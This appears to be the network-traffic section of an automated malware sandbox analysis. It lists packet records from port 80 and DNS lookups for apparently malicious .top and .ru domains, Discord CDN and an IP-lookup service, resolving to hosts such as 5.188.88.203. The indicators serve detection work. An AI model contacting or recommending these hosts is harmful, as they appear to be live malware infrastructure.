Oct 29, 2021 14:11:14.390234947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390252113 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.390274048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390311956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390347958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390386105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390423059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390460968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390500069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390536070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390573025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390609980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390645981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390682936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390719891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390758038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390795946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390830994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390870094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390908957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390944958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390983105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391019106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391057968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391097069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391132116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391169071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391206026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391242027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391278982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391315937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391354084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391391993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391427994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391464949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391601086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391640902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391680956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391716957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391755104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391792059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.391963959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.391979933 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.392004013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392040014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392066956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392278910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392316103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392354012 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392391920 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392429113 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392467022 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392493963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392532110 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392570019 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392606974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392633915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.392889977 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393023968 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393063068 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393088102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393197060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393235922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393274069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393299103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393336058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393372059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393409014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393436909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393697023 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393737078 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393773079 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393937111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.393979073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394015074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394052982 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394078016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394140005 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394180059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394218922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394243956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394280910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394318104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394354105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394380093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394417048 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394455910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394494057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.394519091 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395016909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395056009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395093918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395129919 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395168066 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395204067 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395230055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395363092 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395401955 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395440102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395476103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395513058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395551920 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395577908 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395616055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395653009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395689011 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.395715952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.410145998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.420141935 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.423086882 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.425923109 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.426023006 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.426595926 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.427171946 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.427257061 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.427324057 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.427402973 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.432899952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.432964087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.433007956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.433036089 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.450656891 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.454790115 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.454843044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.454888105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.454931974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455364943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455404997 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455461979 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455501080 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455538988 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455576897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455604076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455642939 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455683947 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455718994 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.455746889 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456190109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456229925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456265926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456294060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456331015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456367970 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456406116 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456444025 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456481934 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456521034 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456547022 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456584930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456623077 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456660032 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456686020 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456891060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456931114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456968069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.456994057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457088947 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457129002 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457165956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457204103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457241058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457278967 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457305908 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457341909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457380056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457418919 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.457442999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458086967 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458127022 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458164930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458190918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458228111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458266020 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458302975 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458331108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458367109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458405018 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458442926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458467960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.458506107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458543062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458581924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458621025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458657026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458695889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458734035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458769083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458806992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458842993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458884001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458924055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458961010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.458997965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.459036112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.459070921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.459109068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.459146023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.459182978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.459220886 CEST	80	50094	193.56.146.214	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 29, 2021 14:09:40.249532938 CEST	192.168.2.3	8.8.8.8	0xc836	Standard query (0)	xacokuo8.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:40.372556925 CEST	192.168.2.3	8.8.8.8	0xff0c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:40.629740953 CEST	192.168.2.3	8.8.8.8	0x5478	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:40.880671978 CEST	192.168.2.3	8.8.8.8	0xbc14	Standard query (0)	privacytoolzforyou-6000.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:43.668574095 CEST	192.168.2.3	8.8.8.8	0x9db3	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:44.010621071 CEST	192.168.2.3	8.8.8.8	0x8a09	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:00.299552917 CEST	192.168.2.3	8.8.8.8	0x9567	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:00.549968958 CEST	192.168.2.3	8.8.8.8	0x947a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:00.831943989 CEST	192.168.2.3	8.8.8.8	0x562	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:01.170274973 CEST	192.168.2.3	8.8.8.8	0x1495	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:01.426273108 CEST	192.168.2.3	8.8.8.8	0x91d9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:03.559824944 CEST	192.168.2.3	8.8.8.8	0xb9c4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:03.810604095 CEST	192.168.2.3	8.8.8.8	0x1c0b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:04.063611031 CEST	192.168.2.3	8.8.8.8	0xffeb	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:04.738146067 CEST	192.168.2.3	8.8.8.8	0xaa7b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.089852095 CEST	192.168.2.3	8.8.8.8	0x7901	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.929352045 CEST	192.168.2.3	8.8.8.8	0x26e2	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:08.174237013 CEST	192.168.2.3	8.8.8.8	0xf2b4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:09.930037975 CEST	192.168.2.3	8.8.8.8	0x4ec3	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:11.287599087 CEST	192.168.2.3	8.8.8.8	0x1089	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:11.535811901 CEST	192.168.2.3	8.8.8.8	0xf6e9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:11.784204960 CEST	192.168.2.3	8.8.8.8	0x524a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:12.428087950 CEST	192.168.2.3	8.8.8.8	0xe2ab	Standard query (0)	iyc.jelikob.ru	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:12.735543966 CEST	192.168.2.3	8.8.8.8	0x614c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:12.990253925 CEST	192.168.2.3	8.8.8.8	0xe0e1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:13.261889935 CEST	192.168.2.3	8.8.8.8	0xfe4b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:13.544400930 CEST	192.168.2.3	8.8.8.8	0xc420	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:15.586174965 CEST	192.168.2.3	8.8.8.8	0xd0bf	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:15.862766027 CEST	192.168.2.3	8.8.8.8	0x7c2a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:16.132903099 CEST	192.168.2.3	8.8.8.8	0x2b2c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:16.393680096 CEST	192.168.2.3	8.8.8.8	0xb9bf	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:16.650090933 CEST	192.168.2.3	8.8.8.8	0x6ef3	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:18.816096067 CEST	192.168.2.3	8.8.8.8	0xc1c0	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:19.878665924 CEST	192.168.2.3	8.8.8.8	0x7415	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:20.138806105 CEST	192.168.2.3	8.8.8.8	0xfda9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:20.468445063 CEST	192.168.2.3	8.8.8.8	0x77e	Standard query (0)	sysaheu90.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:27.111479998 CEST	192.168.2.3	8.8.8.8	0xa277	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:27.389888048 CEST	192.168.2.3	8.8.8.8	0x97af	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:27.389945984 CEST	192.168.2.3	8.8.8.8	0x48f4	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:29.239370108 CEST	192.168.2.3	8.8.8.8	0xa8d1	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:29.573542118 CEST	192.168.2.3	8.8.8.8	0xa6e9	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:30.214529037 CEST	192.168.2.3	8.8.8.8	0x3598	Standard query (0)	avatars.githubusercontent.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:31.983638048 CEST	192.168.2.3	8.8.8.8	0xa3c2	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:32.245552063 CEST	192.168.2.3	8.8.8.8	0xab43	Standard query (0)	avatars.githubusercontent.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:34.801071882 CEST	192.168.2.3	8.8.8.8	0x63a	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:37.919708014 CEST	192.168.2.3	8.8.8.8	0x9d28	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:41.363266945 CEST	192.168.2.3	8.8.8.8	0x26e8	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:44.169285059 CEST	192.168.2.3	8.8.8.8	0x59b	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:44.604974985 CEST	192.168.2.3	8.8.8.8	0x7156	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:48.412956953 CEST	192.168.2.3	8.8.8.8	0x45dd	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:51.762058020 CEST	192.168.2.3	8.8.8.8	0xe31b	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:51.895178080 CEST	192.168.2.3	8.8.8.8	0x51b2	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:57.205171108 CEST	192.168.2.3	8.8.8.8	0x4151	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:57.765567064 CEST	192.168.2.3	8.8.8.8	0xed61	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:09.428842068 CEST	192.168.2.3	8.8.8.8	0x4603	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:11.175357103 CEST	192.168.2.3	8.8.8.8	0x5091	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:12.704349995 CEST	192.168.2.3	8.8.8.8	0xed15	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:17.404216051 CEST	192.168.2.3	8.8.8.8	0x9631	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:20.502801895 CEST	192.168.2.3	8.8.8.8	0x14c7	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:22.049130917 CEST	192.168.2.3	8.8.8.8	0x1f6	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:41.048815012 CEST	192.168.2.3	8.8.8.8	0x5be6	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:45.143712044 CEST	192.168.2.3	8.8.8.8	0xa4e4	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 29, 2021 14:09:40.349797010 CEST	8.8.8.8	192.168.2.3	0xc836	Name error (3)	xacokuo8.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:40.389902115 CEST	8.8.8.8	192.168.2.3	0xff0c	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:40.648988008 CEST	8.8.8.8	192.168.2.3	0x5478	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:41.235708952 CEST	8.8.8.8	192.168.2.3	0xbc14	No error (0)	privacytoolzforyou-6000.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:43.688175917 CEST	8.8.8.8	192.168.2.3	0x9db3	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:09:44.030148983 CEST	8.8.8.8	192.168.2.3	0x8a09	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:00.318998098 CEST	8.8.8.8	192.168.2.3	0x9567	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:00.569439888 CEST	8.8.8.8	192.168.2.3	0x947a	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:00.851335049 CEST	8.8.8.8	192.168.2.3	0x562	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:01.189889908 CEST	8.8.8.8	192.168.2.3	0x1495	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:01.445811987 CEST	8.8.8.8	192.168.2.3	0x91d9	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:03.579739094 CEST	8.8.8.8	192.168.2.3	0xb9c4	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
